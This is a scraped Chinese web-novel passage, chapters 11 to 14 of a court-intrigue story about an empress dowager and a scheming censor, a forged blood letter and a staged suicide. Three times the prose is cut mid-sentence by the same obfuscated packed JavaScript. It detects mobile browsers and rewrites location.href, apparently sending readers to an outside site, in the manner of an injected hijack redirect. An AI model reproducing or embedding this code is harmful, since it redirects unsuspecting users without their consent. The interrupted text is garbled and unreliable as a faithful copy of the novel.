礼物即为脱险,事成。 徐卿安压低的面容下终是勾起一抹笑。 “娘娘……” 他蓦地叫住她。 上官栩回身。 他却并未说其他,只轻声关切道:“您的风寒好些了么?” 上官栩没想到他会问这个:“已经好得差不多了,还多亏了你的药。” 她微微一笑,随口夸一句:“徐卿当真是体贴细致,就是在现在这样的处境下也能考虑到别人。” 徐卿安垂着眼帘,温声道:“牢中寒湿,臣身子弱,从进来到现在待了快半日,便时觉寒气侵体,如此,就想到了娘娘还未愈的风寒,心中故生了担忧。” 上官栩闻言默了默,瞧着他。 此前他的确向她说起过他的体质自幼就不好,到现在都还一直看着大夫,而牢房里难见光,环境愈发湿冷,恐怕于他而言更是雪上加霜。 而他的话还没完,说到一半时停了停,抬眼望向她的衣着再继续道:“不过今日见娘娘气色红润,想来娘娘身体恢复得不错,衣着出行也有宫人照顾,以后寒气应也再难侵体,臣便也就放心了。” 上官栩听他说了这些,又移眼去寻他看的地方,算是知道他此举到底为何了。 她不由得嗤笑一声,双手慢慢放到了斗篷的绳结之上:“这段日子,外面的天气的确好多了,但牢中阴湿,徐卿身子不好,还是应该多保重才是。” 绳结已经打开,斗篷落下,挂在了手中,上官栩借着栏杆之间的间隙扔了进去。 “冷就盖上。” 斗篷重重地打在胸膛上,但飘扬起来的边角却轻柔柔地拂过脸颊。 徐卿安扬了扬颈,单手将斗篷抱在了怀中。 上官栩已走远,他也不跪下谢恩,只过去倚在栏杆上,笑盈盈地对外喊:“谢娘娘赏赐。” 11. 第 11 章 上官栩走回到大牢中段歇停处,青禾带着一干宫人还有御史中丞苏然在此等候。 众人纷纷向她行礼。 上官栩温声:“今日多谢苏五哥行方便了。” 苏然回笑:“娘娘言重了,这本就是臣分内之事。” 说完,他又反问:“不知徐御史可曾向娘娘交代了什么?” 上官栩扬了扬眉,漫不经心道:“没交代什么,刘昌所诉,他自然是不认的,这块实在帮不上苏五哥什么忙了。” 苏然宽慰道:“这些事到时三司会一起处理,娘娘不必忧心。” 上官栩点点头,话锋突转:“我可能看一看刘昌留下的那封血书?” 苏然迟疑。 上官栩了然道:“我知道苏五哥担忧什么,毕竟这人是我派出去的,他的行事或多或少就与我相关——” “苏五哥可是担心我会偏私,想法包庇他?” 苏然张口欲辩,上官栩却抢先道:“可三司会审的日子已经定下,一切也都要按三司会审的结果来,我又能做什么呢?左不过是好奇那血书里的内容是什么罢了,当然,也包括刚才所说,想顺便看看那里面的东西可有牵连到我。” 苏然想了想血书里的内容,笑道:“娘娘多虑了,人虽是您派出去的,但事至如今也只是因他自己行事不周,自是与娘娘无关,娘娘想看血书,臣自然没有阻拦的道理。” 他说:“娘娘请随我来。” —— 上官栩由苏然带去了证物存放的地方,看到了血书上的内容。 “果然字字泣血,声泪俱下啊。”上官栩将血书大致看了一遍后叹道。 苏然也叹:“是啊,最主要的是,血书中所提的用刑之事确实是我们御史台其它同僚都有所耳闻的,以及……臣后面也去查过,徐御史的确去查过工部近几年的账目。” 不提其它内容是否为真,用酷刑和牵扯四年前的旧事,确实与徐卿安最近所为对得上。 而且血书密密麻麻,用了两百余字来控诉,其中情绪不减,内容更是一环扣一环,逻辑之缜密,上官栩一时之间根本找不出破绽。 难怪苏然会同意带她来看。 她不禁觉得徐卿安乐观过头了。 “娘娘,依您看,可觉得这血书有什么问题?”苏然试探地轻声问道。 上官栩神色一如往常地再看了几眼,摇摇头:“没什么问题,倒是真像有冤之人写出来的东西。”她语气平静,“而且当年之事早已盖棺定论,若这血书所述为真,那提及之人当真是居心叵测啊。” “苏中丞这几天打算如何审问那牢中之人?”说回公事时,上官栩便也用回了官职称呼。 “依章程,鞭刑应当是免不了的。娘娘可是有什么要嘱咐的?”说话间,苏然抬眼瞧向上官栩,似在寻找她表情之中有无破绽之处,她好像真的对当年之事没有疑心。 而上官栩转过头,完全面向他笑了笑:“没什么要嘱咐的,好奇罢了。” 她放下血书,准备离开,可她刚走出一步就回头,似想起什么遗忘之事道:“哦对了,我把我的斗篷留给他了。” “他似乎身子不太好,有些畏寒,不过我那斗篷也只是给他御寒用,没有什么穿上可免刑的说法,他一贯张口就来,苏五哥到时可别被他诓了。” 苏然微惊讶于上官栩还会与他说这些,反应过来之后连忙应道:“是,多谢娘娘提醒。” 上官栩莞尔再留下一抹笑,终是离去。 —— 是夜,立政殿中只点了寝灯,床帐尽垂,上官栩梳洗之后卧在榻上,回想着今日狱中之事—— 他说他要送她件礼物。 不得不承认,他的这句话的确勾起了她很大的兴趣。 因为她能感觉到他的这份礼物若真的备好了,不会简单。 他面容虽总是带着笑意,可是一个人的眼神是骗不了人的。 他的笑许多时候并不浸眼底,她虽看不清他的情绪,但能感受到他眼中有一种不只限于对权力追逐的野心。 他能在她面前满眼无辜又言辞恳切地尽诉衷肠委屈,也能平淡地说出他在处理刘昌之事中施以酷刑的经过。 这不是一个儒士该有的模样。 这样的人左右逢源,有城府,有心计,往往他们所行的每一步,无论阴谋阳谋,他们都必要从中取之回报,只为得自己最终所求。 这样的人便是表面再温和光亮,内里都是薄情寒凉的。 所以这也是她今日不信他会只为了一群和他毫无交集的受难人而将自己置于险境之中的原因。 事实证明,她也预料对了。 他果真有其他目的。 但也正因如此,他是一把不错的刀。 刀下所铸的礼物,也断然不会是凡俗之物。 那么她便要利用好。 只是,他此番入狱,到底在不在他意料之中? 听他话中之意,他欲行之事仍有失败的可能,那可是刘昌的血书碍了他的去路? 想到此处,上官栩长缓一口气,闭目歇了歇—— 刘昌血书的确棘手,洋洋洒洒竟写了两百余字,且所诉之罪皆有据可依,而刘昌如今又死了,他该如何在三司会审上与一个死人辩驳? 等等,不对! 上官栩骤然睁开眼,又缓缓坐起了身。 她凝眸沉思片刻后喊道:“青禾。” 青禾应声,从外殿走了进来。 “娘娘。” 上官栩道:“听闻御史台推鞠刑罚重于刑部和大理寺,他身子骨弱,今日受了鞭刑恐怕并不好过。你明日吩咐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715879|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膳房炖一锅鸡汤,鸡要现杀的,炖好之后你亲自给他送去,也顺便告诉他,这鸡汤是如何做的。” 上官栩强调:“从杀鸡到炖煮,每一步都要告诉他!让他知道,这碗鸡汤到底有多贵重!” 青禾初时不解,沉吟片刻后,忽而眼眸一亮:“娘娘这是要……!” 此话一出,他自该知道是什么意思,若是不知,她也没必要帮他了。 上官栩朝青禾笑了笑,肯定了她未说出的猜测,但嘴上却冷哼道:“到底上元夜落水是他把我从水里护了出来,这两件事功过虽不能相抵,但在旁人眼里我也不能没有一点表示,否则岂不冷血?” “不过你将汤送去时定要骂一骂他,告诉他,此番祸事皆因他擅自行事而起,如今这样他也怪不得别人,若这次他还能出来,就让他以后守好规矩,这朝堂之上不是只有他一个办事的官员,真以为自己能够翻云覆雨?” “苏行正那时应也会跟在你身边,顺便也让他听一听。” 青禾明白,欠身应了是。 而就在她要退出去时,身后又传来一阵声音:“算了。” 上官栩改口道:“还是三司会审那日再给他送去吧。那日,他若是赢了,那这鸡汤就正好当是给他洗冤,他若是败了,自然也就当断头饭吃了。” 话虽如此说,上官栩却想的是,她倒要看看,他到底是以身入局,还是马失前蹄。 若是后者,那便让他多急会儿吧。 接连两次擅自行动,得意得很呐。 —— 牢房中,光线昏暗,徐卿安身上的白衣已经沾上了血,他无力地趴在杂草堆上,手中抱着那件斗篷在身侧。 他下午才受了刑,虽说因为中途咳嗽一阵后明显感觉到打到身上的鞭子轻了,但到底已先受了些,免不了皮开肉绽。 苏然审完送他回来时还假意问了他几句,他知道并不是苏然放过了他,只是害怕他死在狱中。 不过他仍是拒绝了苏然提出帮他盖上斗篷的好意—— 血迹污浊,玄色依能被侵染。 而如今仍是正月,哪怕白日外面阳光再好,只要内里晒不到的地方,就是阴冷的,更别说现下正是夜间。 徐卿安闭着眼,半抱半枕地挨着那件斗篷,半张脸埋在里面。 伤势和寒气同时侵体,呼吸止不住地发颤。 他的手便抱得更紧,斗篷拢在鼻下,脑中浮现着往日画面: “景哥哥,你好厉害,我戴着面具你都能认出来我。” 少年忍笑:“你的眼睛又骗不了人。” “那看来以后我还得把眼睛给蒙上。” “那也没用。” “为什么?!”少女娇嗔。 “你常熏芍药花香。” “风一过,便都闻到了。” 12. 第 12 章 转眼就到了三司会审的日子,青禾按照上官栩事先说好的在开审之前,先去牢中给徐卿安送了鸡汤,以及转达上官栩要求说给他听的话。 上官栩坐在梳妆镜前,上妆之后,她与镜中的自己相望,蓦地出了神。 昨夜她又梦见他了—— 少年温声:“你常熏芍药花香。风一过,便都闻到了。” 少女忖道:“那这样的话,就算我蒙着眼,你寻出我时,我也知道是你来了。” “因为……风一过,你身上的兰香我也都闻到了。” 春光明媚,少女灵动无比。 只可惜,梦境中依旧看不清他的脸,也闻不到他身上的清雅兰香。 “娘娘。” 青禾回了宫,一路到上官栩身侧复命。 “怎么样,他什么反应?”上官栩被她唤回神,拨回思绪问道。 青禾垂眸:“奴婢把娘娘的话转达之后,徐大人点了点头,谢了恩。他说他谨记娘娘的训责,以后他会注意的。” 上官栩继续道:“其他的呢?你将鸡汤的做法说给他听时,他的表情是怎样的?” 青禾回忆:“虽带着笑,但也听得认真,还说感谢娘娘的讲授,若以后有机会他定要亲自炖煮一次,报答娘娘。” 上官栩冷笑:“听起来他精神倒是很好。” 青禾颔首:“精神是还不错,就是脸色差了些,想来这几日还是牢中受了些苦。” 上官栩沉吟。 这个人呐…… 无论此番祸事是他刻意为之,还是不慎栽的跟头,这样的心境绝非常人所能比。 —— 三司会审,大理寺、刑部和御史台为首的官员分坐三席。 刘昌之案牵扯到上元夜游船漏水一事,又刘昌本职为四品侍郎,堪为朝廷重臣,作为垂帘太后的上官栩和辅政首相的苏望来旁听此案,自是无可厚非。 二人坐在堂侧的一扇山水绣地屏后面。 三司会审,纪律严明,徐卿安才被带来,三司长官便问:“刘昌自戕当夜,他在血书曾写到你去狱中找过他,是否属实?” 徐卿安答:“属实。” “他说,你曾向他施以酷刑,是否属实?” “属实。” “那当夜,你寻他是为旧事,是否属实?” “也属实。” “所以,你趁他受刑之后,身心俱疲,以其族人性命威胁他认下枉加之罪,是否属实!” 周围安静,徐卿安缓缓抬眼,他因三日刑讯脸色微白,神情却极为从容,甚至还带着一股不屈的傲气,这般情况下身姿依旧出众,如竹如松。 他说:“不属实。” 全堂瞬间哗然。 有三司长官拍惊堂木道:“可他血书之中分明诉你此罪!” 徐卿安反问:“他所诉就一定为真吗?或者说,那血书内容就一定是他所诉吗?” 高座上三人闻言面面相觑。 其中刑部尚书还算温和道:“既然以他血书之中的话来问你,自是在此之前就已鉴定过那血书的确是出自他之手。至于你所问的,他所诉是否为真,起码取自他血书内容的前三问,都得到了你的应证。” 徐卿安道:“前三问不假,但与最后一问没有关系。” “我寻他确因旧事,但不是四年前的事,而是他在工部任职以来所涉及到的所有贪赃之事,往日旧事,国朝震荡,但已有定论,下官所查是为贪腐案,也与当时之事无关,不过是因嫌犯任期原因昨夜问询之时提了一句,下官实在不知为何他会在血书中只单独提及到那一件事。” 大理寺卿又问:“可是针对他贪赃一案,在他自戕的前一日,你就已做了结案准备,为何之后你却还要向他追问?” 徐卿安对答如流道:“因为在此之后,有证人找上了我。证人说,他们所留存下来的证据不过刘昌作恶之十一,在他们家乡还有许多没能存下证据的受难者,若此案就照着最初的那样结下,那么那些受难者就难得交代,也难得补偿,所以我想为他们再问一问刘昌。” “诸位大人若是调查过,就不难知道,在下官去寻刘昌当天的下午,下官曾在自己的府宅外被人拦下过,那就是刘昌案的证人。” 三司长官相顾点头,确实是有这回事。 大理寺卿便再问:“就这样?没有其它原因了?你既要审理此案,又在深夜,为何不叫上与你同负责此案的陈御史一同前往,不然你现下也不至于毫无帮你作证的人物。” 说到这里,徐卿安垂眸静了下来,不似方才刚才那般从善如流,仿佛遇到了什么阻碍。 片刻,他才拱手:“此事,确实是下官考虑不周,然而我不叫上陈御史,实则是因为自有证人至御史台实名告诉之后,我与陈御史为保查案进度,就暂分为了两路,他继续去查上元夜祈福仪式中可能存在的致游船漏水的错漏处,而我则去负责了工部的事情,也就是刘昌贪污一事。” 说着,他顿了顿,又自嘲一笑:“当然,还有一点原因。此前下官所查之事,皆是朝廷让下官查什么下官便查什么,事出则查,给个结果就是,如此一来,其实于下官自身而言,利处不大,不过任务耳。但若抽丝剥茧,查出了未知之事,那就不一样了,那当是一大功。” “下官初入朝堂,在此事上确实是着急了。” 刑部尚书道:“你这话倒说得真诚。” 苏然身为御史中丞,亦在三司长官之列。 他开口道:“可是话说得真诚无用,凡是都得讲个证据。刘昌留下血书,以死告你,你要解的是这个。” 徐卿安唇角微扬。 上官栩坐在屏风后,隐约窥见了他的神态。 要开始了。 徐卿安道:“所以苏中丞就认定了刘昌所诉是真的?” 他不等苏然反驳便叹了口气,无奈道:“好吧,可时至今日,在下都还未好好看过那封血书中的内容,只从各位大人的口中听过。” 徐卿安拱手:“不知现在能否让我看一看,也让我见识一下这把我按在罪行柱上的血书,到底写了些什么?” 三司官长商议之后同意了徐卿安的请求,让人将血书拿在他面前细看。 这血书只那三日,苏然在审讯时曾拿出来让他瞧过几眼,但都看得并不仔细。 而那段时日,徐卿安又一直受着刑,精神并不太好,所以也就并未对此发出什么异议。 徐卿安唇色透着淡白,看着血书的双眼却是目光如炬。 “诸位大人,这血书有问题!”他突然立身,在公堂之上高呼。 屏风后的上官栩浅浅勾了勾唇,抬手拿起一旁小桌上的茶壶,给桌上的两个茶杯添上了热茶。 她轻声对苏望说:“苏公,喝茶。” 徐卿安一喊,苏然立即坐直身子:“有什么问题?” 徐卿安道:“这血书若真是出自刘昌之手,那也是在旁人的相助下所作。” 刑部尚书问:“你此论从何而来?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715880|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 徐卿安先拱手问苏然:“敢问苏中丞,刘昌尸身上有几处伤痕?” 苏然道:“自然额角撞墙一处,食指撕咬一处。” 徐卿安似笑非笑:“那就是了。” 他抬眼道:“诸位大人,我此前对他用刑不假,但我对他所用之刑是水刑,此刑虽残酷,然却不留伤痕,且为防罪犯谋事不轨,台狱里一向连瓷碗都不留,他便更寻不到任何能划伤自己的东西。而他额间所伤是其致命伤,无论他是当即就毙命,还是昏沉片刻才慢慢死去,血书都不会是在那道伤之后所写。” “也就是说,他能写下这两百余字的血书,全靠他食指上的那点血。”徐卿安举起自己的右手食指说道。 苏然大惊,刑部尚书和大理寺卿也察觉到了不对。 “撕拉!” 一声刺耳的裂帛声,徐卿安撕下了衣袍的衣角,又当着众人的面咬破了自己的食指。 伤口在粗布上摩擦,徐卿安蹙眉,忍着痛照着刘昌的那封血书写下了前面几列文字。 大约过了一炷香的时间,实在是写不下去了,这个过程,徐卿安已然是一边挤着伤口一边将快要凝固的血液重新磨的流出来。 他将自己临摹的那封血书举起来,额头上渗出几滴汗,又扯着唇笑道:“诸位大人请看,下官也咬破了手指,然而竭力也只能写出这几列字。” 他说:“就算刘昌真抱着死志写血书,咬出的伤口也比下官咬得更深,他也不至于靠着食指上的那点血就能写出两百余字吧?” “就算他真的体质与常人不同,出血量大,也不至于两百余字写到最后,字形与最初所写相差无几吧?” “诸位大人,啮指之痛当真是痛如穿心呐!” 说话间,徐卿安的呼吸又颤抖起来,他自身的问题加上多日来的处境,以及刚才手写血书,已是将他为数不多的精力又耗了一部分。 而他竟还在笑:“不过若是下官来写这封血书或许比他方便些,下官身上留下的鞭痕恰能帮下官出些血。” 端坐屏风后的上官栩闻言不禁觉得无语—— 他还真是时时刻刻都要讨人怜啊。 堂上的苏然眼睫也不禁颤了颤,难怪他今日押徐卿安出狱时提出为他换身干净衣服,他含糊推辞了,原来就是为了现在! 而话到此处,其实事情已经明了了,一个人仅靠食指上那点伤口如何能写下那么长一篇血书,更何况刘昌的血书上,其字前后相差并不大,若真要如徐卿安那样,一边挤着血,一边写字,就算真的能写到那么长,痛只是一方面,更多的是,那必会造成失血过多,最后精神不济根本就撑不起人去写下去。 而且……三司的官长还都去看过刘昌的尸体,他食指上留下的伤口,根本不算深。 此前,苏然一直推着人去鉴定血书是否真是出自刘昌之手,倒是忽略了其它地方。 刑部尚书反应过来,向徐卿安道:“你说得的确在理。” 三司对此案开始商议。 此案本就因刘昌的血书而起,而今他血书有异,那么其中的控告自然也就算不得数,更讳莫如深的是这其中竟还有其他人的影子…… 果然,在三司宣布此案存疑,只得宣布徐卿安无罪之后,徐卿安立马拱手高喊道:“血书既有异,刘昌之死恐另有隐情,而台狱森严,旁人难入。” “下官请查御史台,揪出幕后构陷之人,还下官清白!” 上官栩扬眉。 他的礼物到了。 13. 第 13 章 御史台固然有问题,但在三司会审上朝三司官长请令调查也没什么用。 徐卿安的这句话其实是说给屏风后面的两个人听的。 屏风后的人有了动作,三司官长起身,向那边行礼。 “殿下,苏相公。” 上官栩和苏望先后走了出来。 上官栩微抬手,免了众人的礼,又道:“今日之事确实出乎我意料,监察百官的御史台,内里竟也出了这样的丑事。徐御史说得对,此事必须得详查,若不把这搅浑水之人抓出来,以后百官都会以为御史台监察上报之事皆是蓄意捏造所以,御史台也会失了其应有的威严。” 她侧过头,含笑问向一旁的苏望:“苏公觉得呢?” 事情已经发展在这个地步,自是要给个交代的。 苏望笑意并不明显地回望过去:“娘娘说得是,御史台.独立于三省六部之外,朝廷赋予其弹劾监察之权,就是要求它自身要公正清明,如今出了这事,自是要查。” 上官栩颔首:“苏公的话说得更深一些。” 她商量道:“此事既出在御史台,那负责查案的就不能是他们自己人了,而此案特殊,不如就让刑部和大理寺协理调查吧。” 因上官栎曾任刑部侍郎,故而刑部的官员更多地偏向上官栩这一边,但大理寺就和苏望来往得更多了。 就算御史台中的御史大多倨傲,自恃中正,但苏然是御史中丞,自然御史台也就偏苏望一点。 上官栩此言不是刑部和大理寺合作,而是她和苏望合作,不让他觉得她此举是在针对他。 反正这件事已经是要查了,御史台再怎样也要闹腾一阵,她也就没必要把苏望逼得太紧,该拿下的人本也不至于这么轻易就被拿下。 上官栩深知苏望看重名声,而她这个安排也周全妥帖,他自是会应。 果然此事就这样说下,而徐卿安这边也自然如刚才那样无罪释放了,又让他之后将上元夜游船和刘昌一案的卷宗整理好,适时结案。 等到事情都安排得差不多的时候,苏望在离去前看了眼堂下的徐卿安,突然意味深长道:“徐御史当真才思敏捷,公堂之上,临危不乱,一眼看出血书的破绽,也救自己于水火之中,太后娘娘选人选得好啊。” 上官栩见苏望看过来,回笑道:“不是我选的好,是七郎选的好。” “去年春闱,七郎身为礼部侍郎出任主考官,徐御史又是那年状元,想来,他的卷子七郎应当还批过。”上官栩笑一下,“这样看,他还算七郎的门生呢。” 徐卿安嘴边方才噙起的笑意淡了下去。 而上官栩还在继续问:“对了,七郎出使西燕也三个多月了,想来也快回程了,他可有写信来问候苏公?又可提及他具体的回程时间?” 说到这里,苏望回头静静地看向上官栩,眼神竟不似寻常般凌厉,柔软了许多。 他虽只笑了一下,但这一次的笑意却是明显了不少:“是写了几封信回来,但归期未定,他也不知何时回京。” 上官栩遗憾地“哦”一声:“那等他回京之后,我一定好好为他接风洗尘,他爱吃的吃食我都给他备上。” 苏望颔首:“我替七郎谢过娘娘了。” 三司会审结束,堂上官员自然也就没有停留的道理。 因上官栩来时所带随身品有些多,收拾起来需要些时间,她便说不好让苏相公相等,让苏望先离开了,而三司的官员也要就此番会审结果梳理卷宗,继续后面的章程,上官栩也让他们先退下了。 徐卿安还在原地,倒是没人管他。 上官栩抬眼间,不经意地见到他还在那儿站着,奇怪道:“会审结束了,徐御史还在这里,是觉得刚才那一番破案陈词没说过瘾吗?” 徐卿安拱手:“娘娘打趣臣了。这不是诸位大人都离开了,没有安排臣的去处嘛。” 上官栩看他面色不畅,又在他拱手行礼时发现他刚才咬破的食指周围沾着血,心难免就软了下来。 她温声说:“会审结束,你已然清白,自是可以回去了。” 徐卿安轻轻地“嗯”一声:“今日谢过娘娘了。” 上官栩扬眉:“谢我?” 徐卿安分明明白她的意思,却道了其它:“娘娘是准备回宫了吗?” 上官栩:“自然。” 徐卿安:“前段日子娘娘受了风寒,想来食欲会受些影响,东市里有家铺子糕点做得不错,叫李记糕舍,臣住在旁边的安邑坊内,便时常路过去买,如今娘娘康复,今日又难得出宫一趟,皇城也离东市近,若娘娘喜爱糕点,不妨遣人买来尝一尝。” 三司会审的地点是在各官署所在的皇城里,而太极宫则算是宫城,皇城宫城虽然相邻,进入皇城也许凭证,但是皇城与宫城到底不同,于上官栩而言,出了太极宫便算出宫了,而皇城外就是长安城的东西两市。 上官栩面容平静,神色却似泛着笑地望着眼前之人,没有任何言语上的表态。 恰在此时,青禾来到她身边道:“娘娘,已经收拾好了。” 上官栩临走前终是扬唇笑了出来:“我知道了,徐卿推荐,我自会遣人去买的。” —— 徐卿安先回了一趟台狱取东西。 御史台的人也将他入狱那日所穿的衣物送还给了他,他换好衣服,拿上斗篷后,便准备离去。 牢房所在的位置很深,路过其它地方时,徐卿安听到一间牢房中传出来的交谈声。 “这里面可是验尸房?”徐卿安停下来问身旁跟着的狱吏。 狱吏点头,解释里面为何会传来交谈声道:“是,那位刘侍郎的尸身就停在那儿,如今案子有了变化,听说尸体要移到刑部或者大理寺去。” “哦。”徐卿安了解,“我能进去看一眼么?” 狱吏迟疑片刻,虽不解他看尸体要做什么,但又心想如今徐卿安也无罪,依旧是御史台的监察御史,他自然也就没有阻拦的道理。 徐卿安便去了。 验尸房里安排搬尸的狱吏都认得徐卿安,见状纷纷向他行礼。 徐卿安以微笑应之,然后便走到了刘昌尸体旁边。 如今惨白冰冷的人却在那夜私审时跪在他面前声泪俱下—— “我、我真的没想过他们会因为我交的那些东西最后那么惨,我以为,最多就是削官,流放……” “我、我、我……但我也真的是身不由己啊,我一个五品郎中,我只能听上面的安排,我不这样做,那遭殃的就是我了啊……” “可我真的无时不在后悔,那事之后我从来没有睡过一次安稳觉,要是能再给我一次机会,我一定不会这样做了,我、我一定想办法和他们周旋。” “我还在净 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715881|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明寺里为那几位大人,立了牌位,点了长明灯,就是想他们往生极乐。徐御史、徐大人,你说你能救我出去,你把我救出去……你把我救出去我一定把所有的钱都给他们做法事,去找他们被流放家眷,想法安置他们,以此赎罪好不好?” 徐卿安俯视着眼前这个声音极近哀嚎、表情似带着无尽悔恨的人,冷眸幽幽,看不出情绪。 他从怀中取出一个药瓶,从中倒出来一颗药丸到手上:“吃下去。” 刘昌不明就里,但仍乖乖地听了他的话。 徐卿安道:“在我离开之后不久,定有人来寻你,到时你就将我们刚才的对话告诉他,就说我查到了四年前上巳夜的事,所以今夜才来问你话,至于其它的,你想活命,就埋在心底。” 刘昌却一下慌了起来,他似乎猜测到了徐卿安说的那个要来寻他的人是谁:“不不不、我不能说,说了,他一定不会放过我的,说不定……他还要杀我灭口!而你,恐怕也逃不掉。” “对了,就是让他这么做,就是要让他杀你灭口。”徐卿安浅笑道,“他不杀你,我如何救你?难不成等到你秋决的时候我去劫法场么?” 徐卿安徐徐道:“我刚才给你吃的那颗药叫凝息丹,能吊住人最后一丝气脉从而伪造出死亡的假象,你顺着他的意去死,到时我才好偷天换日救你出来,而你家人也不至于被牵连,这才是两全之策。” “而你刚才说的也对,那话说出之后,他不会放过你,也不会放过我,所以这就要你帮我了。” 徐卿安唇边勾起笑:“我想,他最好的、能将你我一起灭口的方法,多半就是逼你自己了结,以此反咬我一口。” 徐卿安一边说着一边环视了一圈牢房中的环境:“看这四周条件,我猜你最后应是撞墙自戕而死,同时你应该还会留下一份血书,以此悲壮之举,告我屈打成招,欲给你扣上枉加之罪。” 他微微一笑,语气依旧轻松:“你说我说得对不对?” …… “真的么?”一切事情安排妥当之后,刘昌问了最一句话,他抬眼望向准备离去徐卿安,“那药真的有这个作用么?你真的会救我么?” “当然。”徐卿安不加迟疑的,“君子之言,金石不渝,而且你也只能信我,不是么?” 是啊,苏氏不会救他的,刘昌心想。 而徐卿安还在好心提醒道:“记得装得像一点,别那么痛快地就听了他的话去死。哭一哭,求一求,再和他谈谈条件,说不定你家人还能过得更好。” “还有那药,是吊命的,下手狠点,别让仵作查出端倪。” 刘昌终是应了。 …… 徐卿安站在验尸房中,身旁木床上的尸身冰凉,且生了斑。 少时,他常读文人诗词,其中不乏有喻君子之风的梅兰竹菊的身影,他以君子立身,求贤达,求高志,故尤爱之,也常熏兰香。 可如今他不熏兰香,也不做君子了。 他冷眼睨着早已没了气息的刘昌。 哪有什么凝息丹啊。 不过普通的山参丸罢了。 该下地狱的人,不配因为最后的忏悔而得到救赎。 唔…… 徐卿安收回目光,头也不回地往外走。 还是赶快回去梳洗一番,换身衣服吧。 等会还要迎接客人呢。 14. 第 14 章 太后的车驾已经回了宫,不过皇城里又驶出了另一辆马车—— 太后听闻东市一家糕点不错,遣了人去买来尝尝。 安邑坊内,一座宅邸的院侧小门被敲响。 徐卿安从里打开门,露出笑,拱手向外行礼:“娘娘。” 他已换了服饰,最外面穿的是一身杏色长袍,又许是刚洗浴完,只觉他周身还散着弥弥雾气,气色也好了很多,配着最外面那层柔软的颜色,颇有一股“陌上人如玉”,君子温润清和的风姿。 霎那间,上官栩一怔,似见故人。 然而他内里却偏不是故人那样。 上官栩冷下眼色。 徐卿安哪知她的想法,只侧过身,依旧带笑,抬手请她入内:“臣已将家仆全部遣至前院,内院已无旁人,娘娘不必担心被旁人看见。” 上官栩虽是垂帘太后,但太后无故也不可轻易出宫,不管是为皇室安全着想,还是为天家威严考虑,这都是一直以来不成文的规定。 所以就凭想吃外面糕点,是不够上官栩出宫一趟的。 故而她如今来,严重的不是被人撞见她与徐卿安私下会面,而是她被发现出宫。 若是被发现,免不了又要被一些言官上表谏诤了,这样于她时下的局势自是有不好的影响。 她跟着徐卿安一路走到他书房。 “徐御史倒是考虑周全。” 徐卿安为她倒了热茶:“娘娘能至微臣寒舍,微臣已不甚感激,自是不能为娘娘留下后顾之忧。” 上官栩轻笑,直入主题:“说吧,有什么话是不能在公堂上说的,偏要我到你这儿来。” 跟随上官栩而来的侍从都被安排在了稍远的位置等候,如今书房内外这一方地只有她与徐卿安两人。 徐卿安抬眼,含笑望她:“臣的礼物,娘娘喜欢么?” 上官栩却做迟疑:“什么礼物?你不惜以身入局,搅乱御史台,这就是你的礼物?” 徐卿安见她不承认,也不急,先问道:“如何就是臣以身入局呢?” 上官栩道:“初时我还不确定,直到你在公堂上说起你背上的伤痕时,我才明白,这局从你一接手刘昌贪污一案时你就想好了。” “你对刘昌用刑,不只是为了逼供,还是为了将你酷吏的名声传扬出去,给刘昌写下血书的动机,但你又偏不打他伤他,不留下任何伤口,为的就是今日公堂之上下的转圜。” “而他会留下血书,想来也是你夜审他那夜,对他说了什么,诱他如此,诱他身后之人如此。” 说着,上官栩突然停了片刻,眉眼含俏,深深地看过去:“只是我实在好奇啊,你缘何就相信,他不会中途偏离了你的想法,将你彻底卖出去?又缘何就肯定,他背后一定有人会就此出手?” 徐卿安噙笑道:“娘娘厉害,果然什么事情都瞒不过娘娘。” 他承认道:“此事确实从刘昌入狱起,臣就开始谋划了,因臣仔细查过刘昌,发现他所为的罪行罄竹难书,绝非他一人所能为,尤其是他前几年官职还不是这么高的时候,竟能多次躲过六部例查,所以臣断定,他身后一定还有人与他同盟,而如今他所为被捅露出来,与他同盟之人要么要救他,要么就是杀他灭口。” “不过他贪污之事,传遍整个京城,处境如此,他背后之人能不被他牵连就已是不错,断然不会施手相救,那么臣要做的,就是让他们出手杀他了,而他们一旦出手,势必有迹可循,臣就可以顺势抓住他们。” “你是这样想的?”上官栩听完他的话之后问道。 徐卿安反问:“不然娘娘以为呢?” 他当然不是这样想的,刘昌所为确实罄竹难书,但也有他为恶多年积攒至今的原因,就算有人与他同流合污,也多半不会是苏望授意,徐卿安这样说,不过只是为了给上官栩一个他所为的动机罢了。 她没有回答他的反问,而他与她对视一眼后,继续说了下去:“至于娘娘刚才所问的,我如何就确定他会按着我的路子走下去,是因为我激他的话,其实是为了激他身后之人的。” 